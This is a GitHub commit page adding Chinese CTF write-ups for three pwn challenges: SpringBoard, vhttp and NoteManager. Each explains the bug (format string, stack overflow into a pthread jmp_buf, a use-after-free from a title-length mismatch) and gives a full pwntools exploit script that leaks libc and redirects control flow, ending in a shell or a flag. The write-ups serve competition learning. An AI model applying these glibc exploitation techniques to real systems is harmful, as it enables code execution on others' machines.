-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add posts including dasjuly, matrix and shanghai
- Loading branch information
1 parent
ab26865
commit 2552ede
Showing
22 changed files
with
815 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
--- | ||
title: DASCTF 2024暑期挑战赛 - SpringBoard | ||
date: 2024/7/28 14:10:00 | ||
updated: 2024/7/28 14:10:00 | ||
tags: | ||
- noob | ||
excerpt: 通过格式化字符串漏洞,利用libc泄露和oneGadget实现远程代码执行。 | ||
--- | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO|Partial| | ||
|Canary|off | | ||
|NX |on | | ||
|PIE |off | | ||
|strip |no | | ||
|libc |2.23-0ubuntu11.3| | ||
|
||
## 解题思路 | ||
|
||
{% note green fa-heart %} | ||
感谢 *N0wayBack* 的脚本用以复现 | ||
{% endnote %} | ||
|
||
简单的格式化字符串,可以执行5次漏洞,直接把函数返回地址写成oneGadget就可以 | ||
|
||
## EXPLOIT | ||
|
||
```python | ||
from pwn import * | ||
context.terminal = ['tmux','splitw','-h'] | ||
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' | ||
EXE = './SpringBoard' | ||
|
||
def payload(lo:int): | ||
global sh | ||
if lo: | ||
sh = process(EXE) | ||
if lo & 2: | ||
gdb.attach(sh) | ||
else: | ||
sh = remote('', 9999) | ||
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') | ||
|
||
# payload 1, leak libc and stack | ||
sh.sendlineafter(b'keyword', b'FLAG%6$pFLAG%9$p') | ||
sh.recvuntil(b'FLAG') | ||
stack = int(sh.recv(14), 16) - 0xd8 | ||
success(GOLD_TEXT(f'Leak retStackAddr: {stack:#x}')) | ||
sh.recvuntil(b'FLAG') | ||
libcBase = int(sh.recv(14), 16) - 240 - libc.symbols['__libc_start_main'] | ||
success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}')) | ||
|
||
# payload 2-5, write one gadget on ret addr | ||
oneGadget = 0xf1247 | ||
ogg = libcBase + oneGadget | ||
sh.sendlineafter(b'keyword', f'%{stack & 0xffff}c%11$hn'.encode()) | ||
sh.sendlineafter(b'keyword', f'%{ogg & 0xffff}c%37$hn'.encode()) | ||
sh.sendlineafter(b'keyword', f'%{(stack + 2) & 0xffff}c%11$hn'.encode()) | ||
sh.sendlineafter(b'keyword', f'%{(ogg >> 16) & 0xff}c%37$hhn'.encode()) | ||
|
||
sh.clean() | ||
sh.interactive() | ||
``` | ||
|
||
{% folding purple::... %} | ||
~~非预期秒了~~ | ||
|
||
<img src="/assets/dasjuly2024/unexpected.png" width="50%" height="50%"> | ||
{% endfolding %} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,125 @@ | ||
--- | ||
title: DASCTF 2024暑期挑战赛 - vhttp | ||
date: 2024/7/25 23:05:00 | ||
updated: 2024/7/25 23:05:00 | ||
tags: | ||
- httpd | ||
- setjmp | ||
thumbnail: /assets/dasjuly2024/flagOnStack.png | ||
excerpt: 通过栈溢出和jmp_buf利用成功读取flag.txt。 | ||
--- | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO |Full | | ||
|Canary|off | | ||
|NX |on | | ||
|PIE |off | | ||
|strip |yes | | ||
|libc |2.31-0ubuntu9.12| | ||
|
||
## 解题思路 | ||
|
||
程序实现了一个简单的http服务器,没有路径穿越符漏洞;不能直接打开目录下的flag.txt, | ||
是由`strstr`拦截的;不能使用`%2F`这样的转义字符串,服务器不支持。那就逆一下程序, | ||
对于输入的三元组和键值对来说,都没有什么bug。但是主函数里只取用了`content-length`这一个标头, | ||
跟到解析请求资源的函数里,发现程序会按`content-length`读入这么多的字节数, | ||
并且没有做限制。观察栈上结构,在输入的`buf`之上是用于`longjmp`的`jmp_buf`, | ||
触发条件也有,因此尝试覆写之。程序通过特定字符串的判断,给了1次读取栈上内容的机会, | ||
也给了`longjmp`的机会。 | ||
|
||
这道题采用了`fread`,不同于`read`,`fread`只有读取指定的长度后才会停止, | ||
不像`read`只需要`send`结束就可以结束输入。那么就出现了一个问题: | ||
`jmp_buf`的结构中RBP、RSP、RIP是受`fs:[0x30]`保护的,要想读取它们来解密`fs:[0x30]`就不能覆盖, | ||
但是为了利用这个结构体却不能覆盖。难道要打rop?程序是没有返回的! | ||
任何结果都是直接`exit`的。那么在栈上查找其他数据,发现还有一个`jmp_buf`: | ||
|
||
```c | ||
struct jmp_buf { | ||
size_t rbx; | ||
size_t rbp; | ||
size_t r12; | ||
size_t r13; | ||
size_t r14; | ||
size_t r15; | ||
size_t rsp; | ||
size_t rip; | ||
... | ||
}; | ||
``` | ||
|
||
![one more jmp_buf](/assets/dasjuly2024/oneMoreJmpbuf.png) | ||
|
||
而这个`jmp_buf`是由程序使用了pthread库后创建线程带来的,其中的RBP是0, | ||
那么RBP的位置可以直接获得`guard`(`fs:[0x30]`)的值,还可以获得一个主线程的栈地址。为了读取`flag.txt`, | ||
我们需要想方设法在栈上留一个`&'flag.txt'`,三元组是保存在`bss`上的,content是保存在子线程的栈上的, | ||
而这个栈帧的值我们是不知道的,只有标头键值对中的最后一组会留在主线程的栈上。 | ||
那么只要最后写一个`flag.txt`的标头就可以做到,然后设置好RBP、RSP,将RIP设置为`0x401ec7`, | ||
就可以让程序读取`flag.txt`并打印flag。 | ||
|
||
![flag on stack](/assets/dasjuly2024/flagOnStack.png) | ||
{% note tip fa-circle-info %} | ||
温馨提示:与上图不是一个进程 | ||
{% endnote %} | ||
|
||
![jump to ...](/assets/dasjuly2024/jumpto.png) | ||
|
||
## EXPLOIT | ||
|
||
```python | ||
from pwn import * | ||
context.terminal = ['tmux','splitw','-h'] | ||
context.arch = 'amd64' | ||
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' | ||
EXE = './vhttp' | ||
|
||
def payload(lo:int): | ||
global sh | ||
if lo: | ||
sh = process(EXE) | ||
if lo & 2: | ||
gdb.attach(sh, 'b *0x401dd1') | ||
else: | ||
sh = remote('node5.buuoj.cn', 27536) | ||
elf = ELF(EXE) | ||
|
||
ADD_LINE = lambda s, cont: s + cont + '\r\n' | ||
|
||
base = ADD_LINE('', 'GET / HTTP/1.0') | ||
base = ADD_LINE(base, 'content-length: {}') | ||
base = ADD_LINE(base, 'flag.txt: 0') | ||
base = ADD_LINE(base, '') | ||
|
||
toleak = base.format(512 + 0x100 + 8).encode() | ||
sh.send(toleak) | ||
|
||
toleak = b'\r\nuser=newbew'.ljust(512 + 0x100) + b'LEAK PTR' | ||
sh.send(toleak) # leak the jmp_buf from pthread | ||
sh.recvuntil(b'LEAK PTR') | ||
|
||
encrypted = sh.recv(8) | ||
stack = u64(sh.recv(6) + b'\0\0') | ||
|
||
guard = 0 | ||
PTR_DEMANGLE = lambda reg: ((reg >> 17) | ((reg & 0x1ffff) << (64 - 17))) ^ guard | ||
PTR_MANGLE = lambda reg: (((reg ^ guard) & 0x7fffffffffff) << 17) \ | ||
| (((reg ^ guard) & 0xffff800000000000) >> 64 - 17) | ||
|
||
guard = PTR_DEMANGLE(u64(encrypted)) | ||
success(f'Leak ptr guard: {guard:#x}') | ||
success(GOLD_TEXT(f'Leak stack: {stack:#x}')) | ||
|
||
rbp = stack - 0xe + 0xe0 # now rbp points to &'flag.txt' | ||
rbp += 0x3a0 # now rbp is "resolved file path" | ||
tojump = b'&pass=v3rdant'.ljust(0x200) + p64(0) + p64(PTR_MANGLE(rbp)) + \ | ||
p64(0) * 4 + p64(PTR_MANGLE(rbp - 0x3e0)) + p64(PTR_MANGLE(0x401ec7)) | ||
tojump = tojump.ljust(0x308) | ||
sh.send(tojump) | ||
|
||
sh.recvuntil(b'DASCTF{') | ||
flag = b'DASCTF{' + sh.recvuntil(b'}') | ||
success(flag.decode()) | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,171 @@ | ||
--- | ||
title: 矩阵杯2024 - NoteManager | ||
date: 2024/7/27 16:30:00 | ||
updated: 2024/7/27 16:30:00 | ||
tags: | ||
- linked list | ||
- House of Apple 2 | ||
- libc2.35 | ||
thumbnail: /assets/matrix2024/notedel.png | ||
excerpt: 通过链表的UAF漏洞,利用哈希碰撞和字符串长度差异,成功泄露libc和heap地址并获得shell。 | ||
--- | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO |Full | | ||
|Canary|on | | ||
|NX |on | | ||
|PIE |on | | ||
|strip |yes | | ||
|libc |2.35-0ubuntu3.7| | ||
|
||
## 解题思路 | ||
|
||
经典菜单题,但是有一个头节点作为“全局变量”,使用链表来存放各个节点。 | ||
判断两个节点是否相同有2个方法:比较哈希值和字符串内容。审计代码不难发现, | ||
在删除节点时如果存在两个相同节点,就能产生uaf(以下配图暂时忽略哈希机制) | ||
|
||
![note delete](/assets/matrix2024/notedel.png) | ||
|
||
除了在新增时使用哈希和`strcmp`同时判断,其余操作只判断哈希是否相同, | ||
那么如何找到一个哈希相同,而`strcmp`也相同的两个字符串呢? | ||
|
||
> 一开始我的想法是哈希碰撞,爆了一晚上没爆出来,早上起来想到肯定不是这么做的 | ||
再次审计代码,发现有漏洞可循: | ||
|
||
```c | ||
... | ||
// 读入title时长度是原长 | ||
pcVar2 = fgets(title,0x100,stdin); | ||
... | ||
// 计算哈希时长度是原长 | ||
hasher = hash(title); | ||
for (cnote = *gnote; cnote != NULL; cnote = cnote->prev) { | ||
// 判断strcmp时用的是原长 | ||
if ((cnote->hash == hasher) && (iVar1 = strcmp(cnote->title,title), iVar1 == 0)) { | ||
... | ||
// 但是做字符串拷贝的时候只取了0x1f长 | ||
strncpy((char *)note,title,0x1f); | ||
... | ||
``` | ||
由此可以得知,只要输入长度超过31的字符串,那么输入时就不会被判为相同, | ||
同时它们的哈希值也是一样的,那么我们就能构造出上图的条件做uaf了 | ||
有了uaf就可以考虑怎么泄露了。首先输入的内容长度可以达到0x1000, | ||
而稍后使用的`strdup`实际上会调用`malloc`产生chunk,size就是输入内容的长度, | ||
因此可以很轻松地得到libc和heap基地址 | ||
最后起一个shell,用House of Apple 2打FSOP即可 | ||
> 一开始用onegadget,结果试了一圈都不行 | ||
edit时使用`strcpy`,所以需要一个`\0`一个`\0`地写 | ||
此外在造成uaf利用后,无法再写入2+个堆块,而想要利用uaf则需要2个堆块, | ||
因此应一口气分配好相关堆块,最后利用uaf。以下是图示 | ||
![note add warning](/assets/matrix2024/noteadd.png) | ||
## EXPLOIT | ||
```python | ||
from pwn import * | ||
context.terminal = ['tmux','splitw','-h'] | ||
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' | ||
EXE = './NoteManager' | ||
def payload(lo:int): | ||
global sh | ||
if lo: | ||
sh = process(EXE) | ||
if lo & 2: | ||
gdb.attach(sh) | ||
else: | ||
sh = remote('', 9999) | ||
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6') | ||
elf = ELF(EXE) | ||
def addn(title:bytes, cont:bytes): | ||
sh.sendlineafter(b'Choose', b'1') | ||
sh.sendlineafter(b'title', title) | ||
sh.sendlineafter(b'content', cont) | ||
def deln(title:bytes): | ||
sh.sendlineafter(b'Choose', b'2') | ||
sh.sendlineafter(b'title', title) | ||
def edit(title:bytes, cont:bytes): | ||
sh.sendlineafter(b'Choose', b'3') | ||
sh.sendlineafter(b'title', title) | ||
sh.sendlineafter(b'content', cont) | ||
def show() -> bytes: | ||
sh.sendlineafter(b'Choose', b'4') | ||
sh.recvuntil(b'option: ') | ||
return sh.recvuntil(b'NoteManager', True) | ||
def eout(): | ||
sh.sendlineafter(b'Choose', b'5') | ||
PROTECT_PTR = lambda pos, ptr: (pos >> 12) ^ ptr | ||
addn(b'root', b'!') | ||
addn(b'fake file', b't'*0x100) | ||
addn(b'0'*33, b'x'*0x18) | ||
addn(b'0'*33, b'x'*0x500) | ||
addn(b'1'*33, b'x'*0x28) # guard chunk to prevent 0x500-size chunk being merged | ||
addn(b'1'*33, b'x') | ||
addn(b'head', b'head') | ||
deln(b'0'*33) | ||
val = show() | ||
# look for 4rd Title | ||
idx = val.find(b'Title: ', 5) | ||
idx = val.find(b'Title: ', idx + 5) | ||
idx = val.find(b'Title: ', idx + 5) | ||
heapBase = u64(val[idx + 7:idx + 12] + b'\0\0\0') << 12 | ||
success(GOLD_TEXT(f'Leak heapBase: {hex(heapBase)}')) | ||
arena = 0x21ac80 | ||
idx = val.find(b'Content: ', idx) | ||
mainArena = u64(val[idx + 9:idx + 15] + b'\0\0') - 0x60 # sub unsorted bin offset | ||
libcBase = mainArena - arena | ||
libc.address = libcBase | ||
oneGadget = libcBase + 0x10d9c2 | ||
success(GOLD_TEXT(f'Leak libcBase: {hex(libcBase)}')) | ||
def write0(content:bytes, offset:int): | ||
for leng, b in enumerate(content): | ||
if b == 0: | ||
break | ||
for i in range(7, leng, -1): | ||
edit(b'fake file', b'0'*(offset + i) + b'\0') | ||
edit(b'fake file', b'0'*offset + content) | ||
write0(p64(heapBase + 0x360), 0xe0) | ||
write0(p64(libc.symbols['_IO_wfile_jumps']), 0xd8) | ||
write0(p64(0), 0xc0) | ||
write0(p64(heapBase + 0x360), 0xa0) | ||
write0(p64(libc.symbols['system']), 0x68) | ||
write0(p64(0), 0x30) | ||
write0(p64(1), 0x28) | ||
write0(p64(0), 0x20) | ||
write0(p64(0), 0x18) | ||
write0(b' sh;\0', 0) | ||
deln(b'root') | ||
deln(b'1'*33) | ||
edit(b'1'*33, p64(PROTECT_PTR(heapBase + 0x9c0, libc.symbols['_IO_list_all']))) | ||
addn(b'adjusting', b'x') | ||
addn(b'more adjust', p64(heapBase + 0x360)) | ||
eout() | ||
sh.clean() | ||
sh.interactive() | ||
``` | ||
|
Oops, something went wrong.